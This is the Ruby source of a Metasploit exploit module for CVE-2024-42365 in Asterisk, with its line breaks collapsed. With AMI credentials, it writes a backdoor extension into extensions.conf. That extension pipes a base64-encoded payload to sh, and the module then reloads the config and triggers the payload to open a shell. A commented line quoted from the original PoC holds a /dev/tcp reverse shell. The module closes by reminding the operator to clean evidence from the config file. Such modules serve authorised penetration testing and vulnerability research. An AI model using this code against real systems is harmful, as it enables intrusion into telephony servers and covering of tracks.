Asterisk AMI Originate Authenticated Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = GreatRanking  include Msf::Exploit::Remote::Asterisk  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Asterisk AMI Originate Authenticated RCE',        'Description' => %q{          On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk          versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change          all configuration files in the '/etc/asterisk/' directory. Writing a new extension          can be created which performs a system command to achieve RCE as the asterisk service          user (typically asterisk).          Default parking lot in FreePBX is called "Default lot" on the website interface,          however its actually 'parkedcalls'.          Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.        },        'Author' => [          'Brendan Coles <bcoles[at]gmail.com>', # lots of AMI command stuff          'h00die', # msf module          'NielsGaljaard' # discovery        ],        'References' => [          ['URL', 'https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44'],          ['CVE', '2024-42365']        ],        'Platform' => 'unix',        # leaving this for future travelers. I was still not getting 100% payload compatibility        # so there seems to still be another character or two bad, but b64 fixed it.        # 'Payload' => {        #  # ; is a comment in the extensions.conf file        #  'BadChars' => ";\r\n:\"" # https://docs.asterisk.org/Configuration/Interfaces/Asterisk-Manager-Interface-AMI/AMI-v2-Specification/#message-layout        # },        # 927 characters (w/o padding) is the max (Error, Message: Failed to parse message: line too long)        # `echo "" | base64 -d | sh` == 19 characters        # chatGPT says 908 b64 encoded characters makes 681 pre-encoding.        'Payload' => {          'Space' => 681        },        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_command            }          ],        ],        'Privileged' => false,        'DisclosureDate' => '2024-08-08',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES],          'Reliability' => [ REPEATABLE_SESSION ]        },        'DefaultTarget' => 0,        'License' => MSF_LICENSE      )    )    register_options [      OptString.new('CONF', [true, 'The extensions configuration file location', '/etc/asterisk/extensions.conf']),      OptString.new('PARKINGLOT', [true, 'The extensions and name of the parking lot', '70@parkedcalls']),      OptString.new('EXTENSION', [true, 'The extension number to backdoor', Rex::Text.rand_text_numeric(3..5)]),    ]    register_advanced_options [      OptInt.new('TIMEOUT', [true, 'Timeout value between AMI commands', 1]),    ]  end  def conn?    vprint_status 'Connecting...'    connect    banner = sock.get_once    unless banner =~ %r{Asterisk Call Manager/([\d.]+)}      print_bad('Asterisk Call Manager does not appear to be running')      return false    end    print_status "Found Asterisk Call Manager version #{::Regexp.last_match(1)}"    unless login(datastore['USERNAME'], datastore['PASSWORD'])      print_bad('Authentication failed')      return false    end    print_good 'Authenticated successfully'    true  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e    print_error e.message    false  end  def check    # why don't we check the version numbers?    # we're connecting to Asterisk Call Manager, which seems to be a sub component    # of asterisk and therefore the version numbers don't line up. For instance    # Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso)    # uses Asterisk Call Manager version 8.0.2.    return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless conn?    version = get_asterisk_version    disconnect    return CheckCode::Detected('Able to connect, unable to determine version') if !version    if version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) ||       version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) ||       version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) ||       version.to_s.include?('cert') &&       (         version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) ||         version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2'))       )      return Exploit::CheckCode::Appears("Exploitable version #{version} found")    end    return Exploit::CheckCode::Safe("Unexploitable version #{version} found")  end  def exploit    fail_with(Failure::NoAccess, 'Unable to connect or authenticate') unless conn?    new_context = rand_text_alpha(8..12)    print_status("Using new context name: #{new_context}")    print_status('Loading conf file')    req = "Action: Originate\r\n"    req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"    req << "Application: SET\r\n"    req << "Data: FILE(#{datastore['CONF']},,,al)=[#{new_context}]\r\n"    req << "\r\n"    res = send_command req    res = res.strip.gsub("\r\n", ', ')    if res.include?('Response: Error')      disconnect      fail_with(Failure::UnexpectedReply, "#{res}. This may be due to lack of permissions, a not vulnerable version, or an incorrect PARKINGLOT")    end    vprint_good("  #{res}")    # since commands are queued, sleeping 1 second is needed for the job to    # execute. This is mentioned in the original writeup: "(you might need to take some time between them)."    Rex.sleep(datastore['TIMEOUT'])    print_status('Setting backdoor')    req = "Action: Originate\r\n"    req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"    req << "Application: SET\r\n"    # from the PoC    # req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/4444 0>&1')\r\n"    req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(echo \"#{Base64.strict_encode64(payload.encoded).gsub("\n", '')}\" | base64 -d | sh)\r\n"    req << "\r\n"    res = send_command req    res = res.strip.gsub("\r\n", ', ')    if res.include?('Response: Error')      disconnect      fail_with(Failure::UnexpectedReply, res)    end    vprint_good("  #{res}")    Rex.sleep(datastore['TIMEOUT'])    print_status('Reloading config')    req = "Action: Originate\r\n"    req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"    req << "Application: Reload\r\n"    req << "Data: pbx_config\r\n"    req << "\r\n"    res = send_command req    res = res.strip.gsub("\r\n", ', ')    if res.include?('Response: Error')      disconnect      fail_with(Failure::UnexpectedReply, res)    end    vprint_good("  #{res}")    Rex.sleep(datastore['TIMEOUT'])    print_status('Triggering shellcode')    req = "Action: Originate\r\n"    req << "Channel: Local/#{datastore['EXTENSION']}@#{new_context}\r\n"    req << "application: Verbose\r\n"    req << "Data: #{Rex::Text.rand_text_numeric(5..8)}\r\n"    req << "\r\n"    send_command req    disconnect  end  def on_new_session(client)    super    print_good("!!!Don't forget to clean evidence from #{datastore['CONF']}!!!")  endend